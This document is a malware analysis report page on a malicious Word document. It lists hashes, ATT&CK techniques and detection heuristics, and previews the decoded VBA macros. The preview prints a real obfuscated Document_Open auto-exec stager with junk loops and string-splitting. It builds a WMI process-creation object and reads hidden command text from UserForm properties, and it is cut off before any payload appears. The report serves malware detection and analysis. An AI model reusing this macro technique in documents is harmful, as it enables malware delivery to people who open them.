Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0850af232ac7da68…

MALICIOUS

Office (OLE)

176.8 KB Created: 2020-08-21 15:33:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: 21711997b6c83d7984b152ed5c812a48 SHA-1: cdb00cc872241187e84eae1a65d3e47074bc1d6b SHA-256: 0850af232ac7da68a42db437b895d1b8ca6cb0d97d7322b5ad9ce98e31a05c0d
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. The critical heuristic 'OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER' indicates the use of a hidden UserForm to execute code, a common technique for downloading and executing further payloads. The 'Document_Open' macro is present, which automatically runs the malicious code when the document is opened. No specific family could be identified, but the technique suggests a downloader or initial access vector.

Heuristics 7

  • ClamAV: Doc.Malware.Generic-9443669-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-9443669-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10254 bytes
SHA-256: 2a4cecedd9af459335bb1e39f3bcb94644dc0c69cdab58669ffc8245227bc424
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Vf0xz5mzc572arwp"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Ar0b15zn5_jh.Jxvjudgqqm4
End Sub


Attribute VB_Name = "Ar0b15zn5_jh"
Attribute VB_Base = "0{3E7DD343-19AA-42DD-A06D-330B3F9B4400}{9BF01AB6-D092-43DE-BBE0-0CEFA8F216F4}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Jxvjudgqqm4()
   nxuEDsvY52 = 7463
For XoqGaHJZ13 = 0 To 67
nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13
DoEvents
Next XoqGaHJZ13
KglkgMVZ68 = 9198
For kZnkwmeI74 = 0 To 24
KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74
DoEvents
Next kZnkwmeI74
jhlqPACC78 = 6797
For oAQhdOsV22 = 0 To 44
jhlqPACC78 = jhlqPACC78 + oAQhdOsV22
DoEvents
Next oAQhdOsV22
Wh2mhnxnldyde5 = Ar0b15zn5_jh.BorderStyle + 100
   nxuEDsvY52 = 7463
For XoqGaHJZ13 = 0 To 67
nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13
DoEvents
Next XoqGaHJZ13
KglkgMVZ68 = 9198
For kZnkwmeI74 = 0 To 24
KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74
DoEvents
Next kZnkwmeI74
jhlqPACC78 = 6797
For oAQhdOsV22 = 0 To 44
jhlqPACC78 = jhlqPACC78 + oAQhdOsV22
DoEvents
Next oAQhdOsV22
F4cw9hxi3n3pqbu3j3 = ChrW(Wh2mhnxnldyde5 + (15))
   nxuEDsvY52 = 7463
For XoqGaHJZ13 = 0 To 67
nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13
DoEvents
Next XoqGaHJZ13
KglkgMVZ68 = 9198
For kZnkwmeI74 = 0 To 24
KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74
DoEvents
Next kZnkwmeI74
jhlqPACC78 = 6797
For oAQhdOsV22 = 0 To 44
jhlqPACC78 = jhlqPACC78 + oAQhdOsV22
DoEvents
Next oAQhdOsV22
Flbssl2m0kra = "15df qhs1g 2[s55da znb183b]15df qhs1g 2[s55da znb183b]w15df qhs1g 2[s55da znb183b]i15df qhs1g 2[s55da znb183b]nm15df qhs1g 2[s55da znb183b]15df qhs1g 2[s55da znb183b]gm15df qhs1g 2[s55da znb183b]t15df qhs1g 2[s55da znb183b]15df qhs1g 2[s55da znb183b]" + F4cw9hxi3n3pqbu3j3 + "15df qhs1g 2[s55da znb183b]15df qhs1g 2[s55da znb183b]:15df qhs1g 2[s55da znb183b]w15df qhs1g 2[s55da znb183b]in15df qhs1g 2[s55da znb183b]15df qhs1g 2[s55da znb183b]315df qhs1g 2[s55da znb183b]215df qhs1g 2[s55da znb183b]_15df qhs1g 2[s55da znb183b]" + Ar0b15zn5_jh.T8emzofdn4z1e_xsa + "15df qhs1g 2[s55da znb183b]ro15df qhs1g 2[s55da znb183b]15df qhs1g 2[s55da znb183b]ce15df qhs1g 2[s55da znb183b]s15df qhs1g 2[s55da znb183b]s15df qhs1g 2[s55da znb183b]"
   nxuEDsvY52 = 7463
For XoqGaHJZ13 = 0 To 67
nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13
DoEvents
Next XoqGaHJZ13
KglkgMVZ68 = 9198
For kZnkwmeI74 = 0 To 24
KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74
DoEvents
Next kZnkwmeI74
jhlqPACC78 = 6797
For oAQhdOsV22 = 0 To 44
jhlqPACC78 = jhlqPACC78 + oAQhdOsV22
DoEvents
Next oAQhdOsV22
P5udhddwbvc_o9 = B2r_w0kzcx9xi48t(Flbssl2m0kra)
   nxuEDsvY52 = 7463
For XoqGaHJZ13 = 0 To 67
nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13
DoEvents
Next XoqGaHJZ13
KglkgMVZ68 = 9198
For kZnkwmeI74 = 0 To 24
KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74
DoEvents
Next kZnkwmeI74
jhlqPACC78 = 6797
For oAQhdOsV22 = 0 To 44
jhlqPACC78 = jhlqPACC78 + oAQhdOsV22
DoEvents
Next oAQhdOsV22
Set Bodcpktztlnhkyp = CreateObject(P5udhddwbvc_o9)
   nxuEDsvY52 = 7463
For XoqGaHJZ13 = 0 To 67
nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13
DoEvents
Next XoqGaHJZ13
KglkgMVZ68 = 9198
For kZnkwmeI74 = 0 To 24
KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74
DoEvents
Next kZnkwmeI74
jhlqPACC78 = 6797
For oAQhdOsV22 = 0 To 44
jhlqPACC78 = jhlqPACC78 + oAQhdOsV22
DoEvents
Next oAQhdOsV22
Wtj0ck4dihwvgmi = Ar0b15zn5_jh.E7dcs1rytjtf.ControlTipText
   nxuEDsvY52 = 7463
For XoqGaHJZ13 = 0 To 67
nxuEDsvY52 = nxuEDsvY52 + XoqGaHJZ13
DoEvents
Next XoqGaHJZ13
KglkgMVZ68 = 9198
For kZnkwmeI74 = 0 To 24
KglkgMVZ68 = KglkgMVZ68 + kZnkwmeI74
DoEvents
Next kZnkwmeI74
jhlqPACC78 = 6797
For oAQhdOsV22 = 0 To 44
jhlqPACC78 = jhlqPACC78 + oAQhdOsV22
DoEvents
Next oAQhdOsV22
Z5jo5oa196x240uu = Q_74vbo
... (truncated)

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